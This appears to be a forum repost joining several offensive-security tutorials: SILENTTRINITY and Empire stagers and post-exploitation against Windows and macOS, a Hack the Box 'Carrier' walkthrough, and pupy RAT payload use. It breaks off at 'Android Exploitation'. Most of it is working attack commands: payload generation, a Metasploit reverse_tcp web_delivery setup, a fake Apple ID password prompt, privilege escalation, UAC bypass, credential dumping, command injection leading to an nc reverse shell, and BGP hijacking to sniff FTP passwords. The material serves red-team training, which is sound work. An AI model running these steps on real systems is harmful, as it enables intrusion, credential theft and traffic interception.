As we have done with the listeners, now comes the stagers. Similar to the listener, use the ‘list’ command to see the list of all the available listeners. Because this tool is a windows dedicated tool, there are only three stagers in relation to windows and they are msbuild, wmic, PowerShell. To launch the stager use the following set of commands :
use msbuild
generate http
1
2
use msbuild
generate http
![[Image: 5.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-iCnaIyibh50/XJOVu5o2R4I/AAAAAAAAdp0/zpcD_eXLzBYJWYnb-LIgwsWeiBqd67IzwCLcBGAs/s1600/5.png?w=687)
Executing the above commands will create a file. Share that file to the target system using the python server as shown in the image below :
![[Image: 6.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-Jdd90tk_u38/XJOVvAMyZkI/AAAAAAAAdp4/mEwFqyeHoL8LSkINSjexo9MZ22d_mfnzACLcBGAs/s1600/6.png?w=687)
And now, run the file in the command prompt of the target system with the following command :
C:\windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuiild.xml
1
C:\windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuiild.xml
![[Image: 7.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-4eeDsKFZGXE/XJOVvaya6-I/AAAAAAAAdp8/fLFEWbdhp2kQuf03dSPA8mXBPRjxzw77ACLcBGAs/s1600/7.png?w=687)
As the file is executed, you can see in the image below, a session will be generated.
![[Image: 8.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-xFf6Oq6xC7I/XJOVvvmSBHI/AAAAAAAAdqA/SaMaX2g4mYg8SuH3hTiqVv5NtWBh7MZdwCLcBGAs/s1600/8.png?w=687)
Windows Post Exploitation
As the session is generated, you can again use the ‘list’ command to see the list of post exploitation modules available, some of which we will show in our article, as shown in the image below :
![[Image: 9.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-8FeOu3t9jvQ/XJOVv--Zr2I/AAAAAAAAdqE/vb8IwQJOpxUNXVDYezk4cB98xEXB1IplgCLcBGAs/s1600/9.png?w=687)
Let’s try and use the message box. The purpose of this exploit is to pop a message on the victim’s PC. To use this exploit run the following set of commands :
use ipy/msgbox
set Text "Hacking Articles"
set Title "Hack"
run <session name>
1
2
3
4
use ipy/msgbox
set Text "Hacking Articles"
set Title "Hack"
run <session name>
![[Image: 10.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-Y4klA1Asrac/XJOVrpixR5I/AAAAAAAAdpM/pDBjCwY16VsEFGHDBBn7yWRtYpjfdxMZgCLcBGAs/s1600/10.png?w=687)
And as the result of the said exploit, a message box will pop up on the target machine. You can see the message box in the image below :
![[Image: 11.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-Nv4sV3776DE/XJOVrqcy93I/AAAAAAAAdpI/tS9xCGcgabYOSek4tHHM1-y8DGk7YICwACLcBGAs/s1600/11.png?w=687)
The next exploit is to receive basic information about the target system. And for his, type the following set of commands :
use ipy/systeminfo
run <session name>
1
2
use ipy/systeminfo
run <session name>
![[Image: 12.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/--t2zQJS8VGw/XJOVsfx2Q1I/AAAAAAAAdpQ/Pk2M_rn7GFcyxdvNSt1NTZaONRLur5MngCLcBGAs/s1600/12.png?w=687)
There is a module for enumeration of host and to run that module type the following set of commands :
use ipy/hostenum
run <session name>
1
2
use ipy/hostenum
run <session name>
As you can see you have catalogues and detailed information about your target system in the image below :
![[Image: 13.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-jzyjLrHHlJw/XJOVso09a9I/AAAAAAAAdpU/wwUr8L5oK6UJ_EfU9QDcAMiRkklgMQa0gCLcBGAs/s1600/13.png?w=687)
With the next exploit, you can access shell of the target system but command by command and for this type :
use ipy/shell
set Command ipconfig
run <session name>
1
2
3
use ipy/shell
set Command ipconfig
run <session name>
As shown in the image below, it runs the ipconfig command through the session that has access to.
![[Image: 14.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-bJIf6UshFT4/XJOVs7oqn-I/AAAAAAAAdpY/jfZmp0BGrpcw9uL8oGSjWOJYS8E3agw0ACLcBGAs/s1600/14.png?w=687)
Silent trinity to meterpreter
To have a meterpreter session via silent trinity start Metasploit by using msfconsole command in a new terminal. And use the web_delivery exploit using the following command :
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set lhost eth0
set lport 4444
run
1
2
3
4
5
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set lhost eth0
set lport 4444
run
Running the above commands will generate a command that is to be run in the target system as shown in the image below :
![[Image: 15.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-1TJ6fjtMQ4o/XJOVtOy3yNI/AAAAAAAAdpc/EEpWF87yQbUGYwqDVoHlC2B4pi5VvB64ACLcBGAs/s1600/15.png?w=687)
The above-generated command is to be run in the shell of the victim’s PC and for that execute the command in the shell by using silent trinity as we had run ipconfig command earlier.
run <session name>
![[Image: 16.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-swXdPxo1g3w/XJOVteAv6yI/AAAAAAAAdpg/xIpunH3mjNMwGdv_bb9CXL-cw4yr3a6rACLcBGAs/s1600/16.png?w=687)
As the command will run in the silent trinity, you will have your meterpreter session as shown in the image below :
![[Image: 17.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-7o6EvQCYPmw/XJOVts1wTZI/AAAAAAAAdpk/2-hnUDOEX3E5PieXUvFtUAnFsBOdor5SwCLcBGAs/s1600/17.png?w=687)
So, all in all, Silent trinity is an amazing tool when it comes to exploiting windows.
This article is another post in the empire series. In this article, we will learn OSX Penetration testing using empire.
Table of Content
Exploiting MAC
Post Exploitation- Phishing
- Privilege Escalation
- Sniffing
Exploiting MAC
Here I’m considering you know PowerShell Empire’s basics, therefore, we will create the listener first using the following commands:
uselistener http
set Host //192.168.1.26
execute
1
2
3
uselistener http
set Host //192.168.1.26
execute
![[Image: 1.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-_fKSHUFpc6I/XJMbAJplkwI/AAAAAAAAdoA/gyc_dFn6UGoSWVAA0J6mcCioy2WgToOyQCLcBGAs/s1600/1.png?w=687)
Executing the above commands will start up the listener as shown in the image above. Now the next step is to create a stager for OS X. And for that, type :
usestager osx/launcher
execute
1
2
usestager osx/launcher
execute
![[Image: 2.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-buff8GZSMT0/XJMbAGOI-CI/AAAAAAAAdoE/9_Je_O_s2uobrxO-s0XB9m8WjyQQHQhRACLcBGAs/s1600/2.png?w=687)
As you can see in the image above, the above stager will generate a code. Execute this code in the target system i.e. OS X and after the execution, you will have your session as shown in the image below :
![[Image: 3.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-t9Qe0_w_r7g/XJMbA7KVHQI/AAAAAAAAdoM/z3SMbSozwtIRD6JPXLukY2FRmPiBLGaNwCLcBGAs/s1600/3.png?w=687)
Post Exploitation
Phishing
As we have the session of our mac, there are few post exploits that can use to our advantage. The first post exploitation module we will use is a collection/osx/prompt. Using this module will ask the user to enter their password to their Apple ID, which means this module does not work in stealth mode. To use this module type :
usemodule collection/osx/prompt
execute
1
2
usemodule collection/osx/prompt
execute
![[Image: 4.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-m2DVn0HtgPg/XJMbBL7fTLI/AAAAAAAAdoQ/ZT6mgiOencUpWw7vau8EVfHt223GUvxnQCLcBGAs/s1600/4.png?w=687)
Executing the above module will open a prompt in the target machine as shown in the image below and when entered password you have it in clear text as shown in the image above.
![[Image: 5.1.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-N1Juswq480s/XJMbBY3FFxI/AAAAAAAAdoU/qeUErYw-C6kn7TnQW0MrEEhTZlYzf5C9QCLcBGAs/s1600/5.1.png?w=687)
Privilege Escalation
For the privilege escalation of OS X, we have used the module privesc/multi/sudo_spawn. To sue this module type :
usemodule privesc/multi/sudo_spawn
set Listener http
set Password toor
execute
1
2
3
4
usemodule privesc/multi/sudo_spawn
set Listener http
set Password toor
execute
Executing this module will give you admin rights with a new session, as you can see in the image below :
![[Image: 5.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-7gEAS0-M5qY/XJMbBwRV0iI/AAAAAAAAdoY/gXSRWMoKeDEHOsyOMBvFJa_Kt-jBh4wZACLcBGAs/s1600/5.png?w=687)
Sniffing
The module we will use is collection/osx/sniffer. This will sniff around all the traffic in the coming to and going from our target system and give us all the necessary details by creating a pcap file. To use module type :
usemodule collection/osx/sniffer
execute
1
2
usemodule collection/osx/sniffer
execute
![[Image: 6.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-4i2EkZ6DuMs/XJMbB4YqwFI/AAAAAAAAdoc/lRxkEoX-4fQ9PdiL0jsd_IkKtxsZMmAQACLcBGAs/s1600/6.png?w=687)
As you can see that you will even find the password in clear text in the pcap file as shown in the image below :
![[Image: 7.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-sI3c4sXWPXE/XJMbCIALlLI/AAAAAAAAdog/E6-_g7OTzNUal0DLMawFWkTHSvKx8G39wCLcBGAs/s1600/7.png?w=687)
Next post module is of taking a screenshot of the target system and to use the said module type :
usemodule collection/osx/screenshot
execute
1
2
usemodule collection/osx/screenshot
execute
![[Image: 8.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-ibraIpbOsCw/XJMbCVLfnUI/AAAAAAAAdok/njSwjcM4f6QkDF8_Pm_9KGiUq7AQTPNcgCLcBGAs/s1600/8.png?w=687)
The above module will take a screenshot as shown in the image below :
![[Image: 9.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-ugGqPITELG8/XJMbDI1PtPI/AAAAAAAAdoo/0HQyhWt2zCkNrMiV0VXNkP4EZIyCSDh3QCLcBGAs/s1600/9.png?w=687)
There is a further number of post modules which you can use and experiment with as shown in the image below :
![[Image: 10.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-vqLQawtP3S4/XJMbAWau3oI/AAAAAAAAdoI/M_MtneqozgsKwbwDGExXY9XjFAmbmWJHACLcBGAs/s1600/10.png?w=687)
Today we are going to solve another CTF challenge “Carrier”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Expert
Task: To find user.txt and root.txt file
Note: Since these labs are online available therefore they have a static IP. The IP of Carrier is 10.10.10.105
Penetrating Methodology- Network scanning (Nmap)
- Enumerating SNMP service port (161)
- Surfing HTTPS service port (80)
- Logging in through the Web portal
- Finding command injection in web application
- Getting reverse shell
- Finding the first flag.
- Finding Border Gateway Protocol
- Border Gateway Protocol (BGP) Hijacking
- Capturing FTP credentials
- Logging in through SSH
- Finding final flag
Walkthrough
Let’s start off with our basic Nmap command to find out the open ports and services.
nmap -sC -sV -p- -T4 10.10.10.105
nmap -sU --min-rate=5000 -T4 10.10.10.105
1
2
nmap -sC -sV -p- -T4 10.10.10.105
nmap -sU --min-rate=5000 -T4 10.10.10.105
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-4YKdYrdQ18o/XJIDkIkCFyI/AAAAAAAAdmU/TKJtq_ZYkzoxPSpHNseZuAnU5v2Ff8lrACLcBGAs/s1600/1.png?w=687&ssl=1)
The Nmap scan shows us that there are 3 TCP ports are open: 21(FTP), 22(SSH), 80(HTTP) and 1 UDP port is open: 161(SNMP)
As port 161 is open we use snmpwalk to enumerate SNMP port and find a string called “SN#NET_45JDX23”.
snmpwalk -c public -v 1 10.10.10.105
1
snmpwalk -c public -v 1 10.10.10.105
![[Image: 2.1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-jQ0CJNknFw4/XJIDmpM-EAI/AAAAAAAAdm0/EFWbKgZ_jxUFSk1fLvnEVczYQJ8rSHwpQCLcBGAs/s1600/2.1.png?w=687&ssl=1)
As port 80 is open, we open the web services in the browser and we find a login page.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-3AwoT-nQUI0/XJIDmzqg82I/AAAAAAAAdm4/zcTfoXh9spY5Uags-yvCLN7c1CZS8XZzACLcBGAs/s1600/2.png?w=687&ssl=1)
We try username “admin” and the string we find earlier as the password. But were unable to login but by using the password “NET_45JDX23”, we were able to login.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-zvBKbmVaEX8/XJIDnxeg0AI/AAAAAAAAdnM/YrKW5eE-3ckQa3gphcVf-lKD2aOPA_jUgCLcBGAs/s1600/3.png?w=687&ssl=1)
By checking the different options in the web application, in the diagnostic tab, we find something interesting. When we click on the “Verify status” button, we find that the server might be running “ps” command.
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-QIWzwhhkx28/XJIDohlI6QI/AAAAAAAAdnQ/65vWbwqUTrwwiwp2M596T1c3sTBCxI0mgCLcBGAs/s1600/4.png?w=687&ssl=1)
So further enumerate the web application, we use BurpSuite to capture the request and find inside the “check” parameter a base64 encoded string. When we decode the base64 encoded string we find the string to be called “quagga”. Now if check the web application, it is showing all the process that contains the string “quagga”. So that means the web application is running “ps” with “grep quagga” command.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-rTv6F_sdIQI/XJIDo4zqRGI/AAAAAAAAdnU/5QylLr5mMjkxS9X87paTaWR4ga1DBf2iwCLcBGAs/s1600/5.png?w=687&ssl=1)
Now to verify our theory, we change the check parameter to “root” and then encode it to base64 and then encode it to URL encode.
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-la6-XFO4ibA/XJIDo_DonkI/AAAAAAAAdnY/t319hYzrOtw4ALx6_qltUVbciJ4yx2zpgCLcBGAs/s1600/6.png?w=687&ssl=1)
When we send the new request we find that the web application is displaying all the process that contains the string “root”.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-VvjBFurR2xo/XJIDpKVySRI/AAAAAAAAdnc/xstVCZvXeaUUbEug_TkTMbDChjc0Gp8uACLcBGAs/s1600/7.png?w=687&ssl=1)
Now we check if the web application is vulnerable to command injection or not. We try to run id command on the server.
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-uAbgeLmb4kY/XJIDpjWDYeI/AAAAAAAAdng/ml6w08EIOms8EhwF7f9EamXlyO6ean1MACLcBGAs/s1600/8.png?w=687&ssl=1)
By changing the parameter to “hack;id” and then encoding it with base64 encode and URL encode we forward the request to the server.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-0MtTahSsd1g/XJIDpsjMHvI/AAAAAAAAdnk/-10ygaxD12AY6Pnvuy9KLwV6hJI5tvcUQCLcBGAs/s1600/9.png?w=687&ssl=1)
When we check the web application, we find that we are successfully able to run the “id” command that means the web application is vulnerable to command injection.
![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-teLV2R6VIJw/XJIDkMhBjEI/AAAAAAAAdmQ/Z5lA9kIYS1YUKB0_UtMnKWkLZ42ULIIHgCLcBGAs/s1600/10.png?w=687&ssl=1)
Now we replace the id command with nc reverse shell one-liner.
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-5LuYfi5cyic/XJIDkBWOZ0I/AAAAAAAAdmM/QdpZYS4gcDggMGl2fJ-Pf07z1gDG_4vnACLcBGAs/s1600/11.png?w=687&ssl=1)
We encode the string with base64 encode and URL encode. We setup our listener and then forward the request.
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-rr6ZBvzH2ic/XJIDk4FrbSI/AAAAAAAAdmY/BwMct_YQ_bYxeW6bEs0TSdoCDpuKNL4ywCLcBGAs/s1600/12.png?w=687&ssl=1)
As soon as we forward the request we get a reverse shell, we spawn a TTY shell and check for files in the current directory. Inside we find a file called “user.txt”, we open the file and find the first flag.
python -c "import pty; pty.spawn('/bin/bash')"
1
python -c "import pty; pty.spawn('/bin/bash')"
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-T8NLxJry1qY/XJIDk6X98fI/AAAAAAAAdmc/-fHpd293_UMC0zjdz5viNtqfR4EGFAGcACLcBGAs/s1600/13.png?w=687&ssl=1)
After getting a root shell we enumerated the machine, we do not find anything interesting. Going back to the tickets section on the web page, we find a hint that we need to check another subnet.
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-AvJEF4YjOh0/XJIDlDW78mI/AAAAAAAAdmg/wyBWCH2-auYdepaFxhfEFC8WJLAjPJ-fQCLcBGAs/s1600/14.png?w=687&ssl=1)
We use the ping command to find all the available machines on the subnet “10.120.15.0/24”.
for i in {1..255}; do ping -c 1 10.120.15.$i | grep "bytes from" | cut -d " " -f4 | cut -d ":" -f1 ; done
1
for i in {1..255}; do ping -c 1 10.120.15.$i | grep "bytes from" | cut -d " " -f4 | cut -d ":" -f1 ; done
![[Image: 15.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-bFkj1Xw9z6M/XJIDlZAqWhI/AAAAAAAAdmk/3KBB8X4xnN0G0ZjYCHconaIBTyY7RloLgCLcBGAs/s1600/15.png?w=687&ssl=1)
Now we according to the ticket we know there is ftp server running on subnet “10.120.15.0/24”. So we scan both the IP addresses and find port 21 is open on 10.120.15.10. Further enumerating the system in cronjob we find that there is a bash script inside /opt/ directory called “restore.sh”. We take a look at the content of the file and find that the machine is working with Border Gateway Protocol (BGP) with Quagga. Now we can use a technique called BGP hijacking to take over the IP address. The bash script restores the BGP configuration every 10 minutes, so we remove executable permissions from the script so that we can make changes to the configuration of BGP
crontab -l
chmod -x /opt/restore.sh
1
2
crontab -l
chmod -x /opt/restore.sh
![[Image: 16.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-X3v1RWn3Zro/XJIDlpJZoMI/AAAAAAAAdmo/9x8F8e1YeqQ3ScVq6NMhwCCHrgQejknJACLcBGAs/s1600/16.png?w=687&ssl=1)
Now we connect to the vty shell and check the current configuration.
vtysh
show running-config
1
2
vtysh
show running-config
![[Image: 18.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-r5VObqYXeYA/XJIDlyqZTOI/AAAAAAAAdms/FZWeStJqSJcFzGVFRpE_O5Ipw7SbcFyNACLcBGAs/s1600/18.png?w=687&ssl=1)
Now switch to configure mode, and to intercept the traffic we want 10.120.15.0/25 to use our machine as the gateway.
configure terminal
ip prefix-list 0xdf permit 10.120.15.0/25
route-map to-as200 permit 10
match ip address prefix-list 0xdf
set community no-export
route-map to-as200 permit 20
route-map to-as300 deny 10
match ip address prefix-list 0xdf
route-map to-as300 permit 20
router bgp 100
network 10.120.15.0 mask 255.255.255.128
end
clear ip bgp *
1
2
3
4
5
6
7
8
9
10
11
12
13
configure terminal
ip prefix-list 0xdf permit 10.120.15.0/25
route-map to-as200 permit 10
match ip address prefix-list 0xdf
set community no-export
route-map to-as200 permit 20
route-map to-as300 deny 10
match ip address prefix-list 0xdf
route-map to-as300 permit 20
router bgp 100
network 10.120.15.0 mask 255.255.255.128
end
clear ip bgp *
![[Image: 19.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-AWrtnr6D6HU/XJIDmIanJ6I/AAAAAAAAdmw/NqbUBLqr82s-rMTpWOTZkiHnRmdbXwOIACLcBGAs/s1600/19.png?w=687&ssl=1)
If we check our BGP routes we find that our machines will be used as a gateway.
show ip bgp neighbors 10.78.10.2 advertised-routes
1
show ip bgp neighbors 10.78.10.2 advertised-routes
![[Image: 20.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-UQtgXZXKQns/XJIDmzFFLaI/AAAAAAAAdm8/TqqHcK0MD1sHdwDDVkTlFrsKiokvF-YZQCLcBGAs/s1600/20.png?w=687&ssl=1)
Now we will start collecting packets on port 21 using tcpdump, we will be using the interface eth2.
tcpdump -i eth2 -nnXSs 0 'port 21' -w hack.pcap
1
tcpdump -i eth2 -nnXSs 0 'port 21' -w hack.pcap
![[Image: 21.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-bObvK4cZJj4/XJIDnKnEUHI/AAAAAAAAdnA/vNoqzS7HX-8RAroQfdLDKqku1OYi7Ug0wCLcBGAs/s1600/21.png?w=687&ssl=1)
We wait for some time then interrupt the capture and check if the pcap file has been created. Now we transfer the file to our system and analyze it with Wireshark and find the password for FTP.
Password: BGPtelc0routing
![[Image: 22.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-p59pAk7YuA4/XJIDn0mkLeI/AAAAAAAAdnI/mCa_AVtAyGU7hLgwLtiG_nqYbsl6Vno5QCLcBGAs/s1600/22.png?w=687&ssl=1)
We use this password to login through SSH on the target system and are successfully able to login. After logging in, we find a file called root.txt, we take a look at the content of the file and find the final flag.
ssh [email protected]
1
ssh [email protected]
![[Image: 23.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-wUsDTmhUyGw/XJIDnh3FPkI/AAAAAAAAdnE/echVRNg-gFoNPFo7AqEVN6rGoTCtTY6BACLcBGAs/s1600/23.png?w=687&ssl=1)
In this article, we will learn to exploit Windows, Linux and Android with pupy command and control tool.
Table of Content :- Introduction
- Installation
- Windows Exploitation
- Windows Post Exploitation
- Linux Exploitation
- Linux Post Exploitation
- Android Exploitation
- Android Post Exploitation
Introduction
Pupy is a cross-platform, post-exploitation tool as well as a multi-function RAT. It’s written in python which makes it very convenient. It also has low detectability that’s why it’s a great tool for the red team. Pupy can communicate using multiple kinds of transport, migrate into processes using reflective injection, and load remote python code, python packages and python C-extensions from memory.
It uses a reflected DLL to load python interpreter from memory which is great as nothing will be shown in the disk. It doesn’t have any special dependencies. It can also migrate into other processes. The communication protocols of pupy are modular and stackable. It can execute non-interactive commands on multiple hosts at once. All the interactive shells can be accessed remotely.
Installation
To install pupy execute the following commands one by one :
git clone [To see content please register here]
ls
./install.sh
1
2
3
git clone [To see content please register here]
ls
./install.sh
![[Image: 1.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-YnExP_TyVQY/XJCzyYcfEhI/AAAAAAAAAeU/XUYvAdTuLu0jwFMCSSQjdbNz6qUF_H1eQCEwYBhgL/s1600/1.png?w=687)
Now download all the requirements using pip like the following command :
cd pupy
pip install -r requirements.txt
1
2
cd pupy
pip install -r requirements.txt
![[Image: 2.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-Uq_0ephMlWs/XJCz1F7KQmI/AAAAAAAAAek/GZqUeqiYB-8rGVcScykwUExpwfY-PV58QCEwYBhgL/s1600/2.png?w=687)
Now run pupy using the following command :
./pupysh.py
1
./pupysh.py
This command will open the prompt where you will get your session.
![[Image: 3.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-GeshlpHB7HQ/XJCz3iP5_NI/AAAAAAAAAeY/_TtaCMsnB04BkSEMvAjhMwFmVP9wQLWWgCEwYBhgL/s1600/3.png?w=687)
Now, to create our payload we will use the pupygen. Use the following help command to see all the attributes which we can use :
./pupygen.py -h
1
./pupygen.py -h
![[Image: 4.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/--xoF1fxAwU8/XJCz3tNA-FI/AAAAAAAAAec/LAfSOXQw3EUbh7GcAYLyqc-d0ka6KI6WwCEwYBhgL/s1600/4.png?w=687)
Windows Exploitation
Now we will create a windows payload in order to exploit windows with the following command :
./pupygen.py -O windows -A x86 -o /root/Desktop/shell.exe
1
./pupygen.py -O windows -A x86 -o /root/Desktop/shell.exe
Here,
-O: refers to the operating system
-A: refers to the architecture
-o: refers to the output file path
![[Image: 5.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-ozK0TALS5o8/XJCz39AbtmI/AAAAAAAAAek/5rmJyZRhhcA1DaDodjcmuaOEc73v5gp_wCEwYBhgL/s1600/5.png?w=687)
When you are successful in executing the shell.exe in the victims’ PC, you will have your session as shown in the image :
![[Image: 6.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-wp3m0MblVt0/XJCz4H-EsUI/AAAAAAAAAec/V-GoC_5k-kYljVUyNoP5xb89DzGovSqegCEwYBhgL/s1600/6.png?w=687)
Windows Post Exploitation
Further, there are a number of post-exploits you can use, they are pretty simple to use. Some of them we have shown in our article. For message dialogue box to pop up on the target machine you can use the following command :
msgbox –-title hack "you have been hacked"
1
msgbox –-title hack "you have been hacked"
![[Image: 7.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-9DPvDsKK_I0/XJCz4TcWDgI/AAAAAAAAAek/Hs7QxX9lvnEwJnUiL7jnomE_A_jfMHMCACEwYBhgL/s1600/7.png?w=687)
As per the command, following dialogue box will open on the target machine :
![[Image: 8.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-bvARH1g2DYg/XJCz4iyiYlI/AAAAAAAAAeg/l8EYUijiH9g_zhIaLKAvGdAulj85irTlACEwYBhgL/s1600/8.png?w=687)
You can also access the desktop using the remote desktop module with the following command :
rdesktop -r 0
1
rdesktop -r 0
![[Image: 9.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-uwf8ib3ftOc/XJCz5PqXZmI/AAAAAAAAAek/ZNXzgT5AMYA0Bt7DnNvDTeF3AIpHP_zhQCEwYBhgL/s1600/9.png?w=687)
After executing the above command you can remotely access the desktop just as shown in the image below :
![[Image: 10.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-Bc9zOQVAB3g/XJCzykRfy4I/AAAAAAAAAec/HJyssvmCFWog943wsD0IQMPKrk0cF-uyQCEwYBhgL/s1600/10.png?w=687)
For bypass UAC, we have the simplest command in pupy i.e. the following :
bypassuac -r
1
bypassuac -r
The above command will recreate a session with admin privileges as shown in the image below :
![[Image: 11.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-EZYDyG7ytWU/XJCzyiah2DI/AAAAAAAAAeM/BB-me9Yrdhgp4ErgHAir5TY64KXKBaGTQCEwYBhgL/s1600/11.png?w=687)
For getting the system’s credentials, you can use the following command :
creddump
1
creddump
And as you can see in the image below, you get the information about all the credentials :
![[Image: 12.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-pixYioj4NBQ/XJCzzBoW9wI/AAAAAAAAAeM/yidaAk65ipkNOzpszlX6baMv6TqKnIYggCEwYBhgL/s1600/12.png?w=687)
Using pupy, we can also migrate our session to a particular process. With migrate command, the attributes of the command are shown in the image below :
![[Image: 13.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-Ots3nCLlHCE/XJCzzXrZ8YI/AAAAAAAAAeM/wXD59FbvHsMaI98Pgii1OOth2L7KdswIwCEwYBhgL/s1600/13.png?w=687)
With ps command, you can find out the process ID number of all the processes running on the target PC, along with letting you know which process is running. Knowing the process ID is important as it will be required in the migrate command and will help us to migrate our session as we desire.
![[Image: 14.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-5TDrFfjWByo/XJCzztkPZMI/AAAAAAAAAeY/igSp1VhoFdA3lC87872ms7yv0TR76M30QCEwYBhgL/s1600/14.png?w=687)
Now, as we know the processes that are running, we can use it to migrate our session. For this, type the following command :
migrate -p explorer.exe -k
1
migrate -p explorer.exe -k
![[Image: 15.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-tvOa_bdhj3g/XJCz0Lui9LI/AAAAAAAAAec/zX0lUfyIBSQaPSlF3UECtgwkqsrvINbCQCEwYBhgL/s1600/15.png?w=687)
And then a new session will be created as desired.
Linux Exploitation
To exploit Linux, we will have to generate Linux payload with the following command :
./pupygen.py -O linux -A x64 -o /root/Desktop.shell
1
./pupygen.py -O linux -A x64 -o /root/Desktop.shell
![[Image: 16.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-biB8zdE_myE/XJCz0GFaRPI/AAAAAAAAAek/5K3je2GjGk8KYicdsw-sWCcpvBezGFA4QCEwYBhgL/s1600/16.png?w=687)
Once you execute the malicious file in the target system, you will have your session as shown in the image below :
![[Image: 17.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-g_PT7wkNsA4/XJCz0ZvfACI/AAAAAAAAAeU/_H0twPPTSvwT6W6lJ1VC6YRZ_k9wKt6hgCEwYBhgL/s1600/17.png?w=687)
As you have a session now, you can check if the target machine is running on a VM or is it a host machine with the following command :
check_vm
1
check_vm
And as you can see in the image below that the target machine is, in fact, running on VM
![[Image: 18.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-tf7_KSjj9w0/XJCz0k8uoTI/AAAAAAAAAeU/2-ebDOTj7m8oBC2KMTAhdN45Lh1la31TgCEwYBhgL/s1600/18.png?w=687)
Linux Post Exploitation
In post-exploitation, you can have detailed information about the target system with the following command :
privesc_checker --linenum
1
privesc_checker --linenum
![[Image: 19.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-RqdH6Nv9XHE/XJCz04DWloI/AAAAAAAAAec/4272xmkt9QAZvp34bl-cHrsMGhiqu04PACEwYBhgL/s1600/19.png?w=687)
With pupy, you can also find out all the exploits that are working on the target system with the help of the following command :
exploit_suggester –shell /bin/bash
1
exploit_suggester –shell /bin/bash
As you can see that in the image below, it has given us the list of all the exploits to which the target system is vulnerable.
![[Image: 20.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-pLeWe_ZVeNU/XJCz1cHxKSI/AAAAAAAAAeQ/4GcflFzmjq8HdWdTarq0xMNrolO6ypTegCEwYBhgL/s1600/20.png?w=687)
To get the basic information about the target system such as IP address, MAC address, etc. you can use the following command :
get_info
1
get_info
![[Image: 21.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-Te1lKV_Enlw/XJCz1jh6fJI/AAAAAAAAAeY/3YIVwVdTziUJCcSJD8kUo1aBA716f2dKwCEwYBhgL/s1600/21.png?w=687)
Android Exploitation
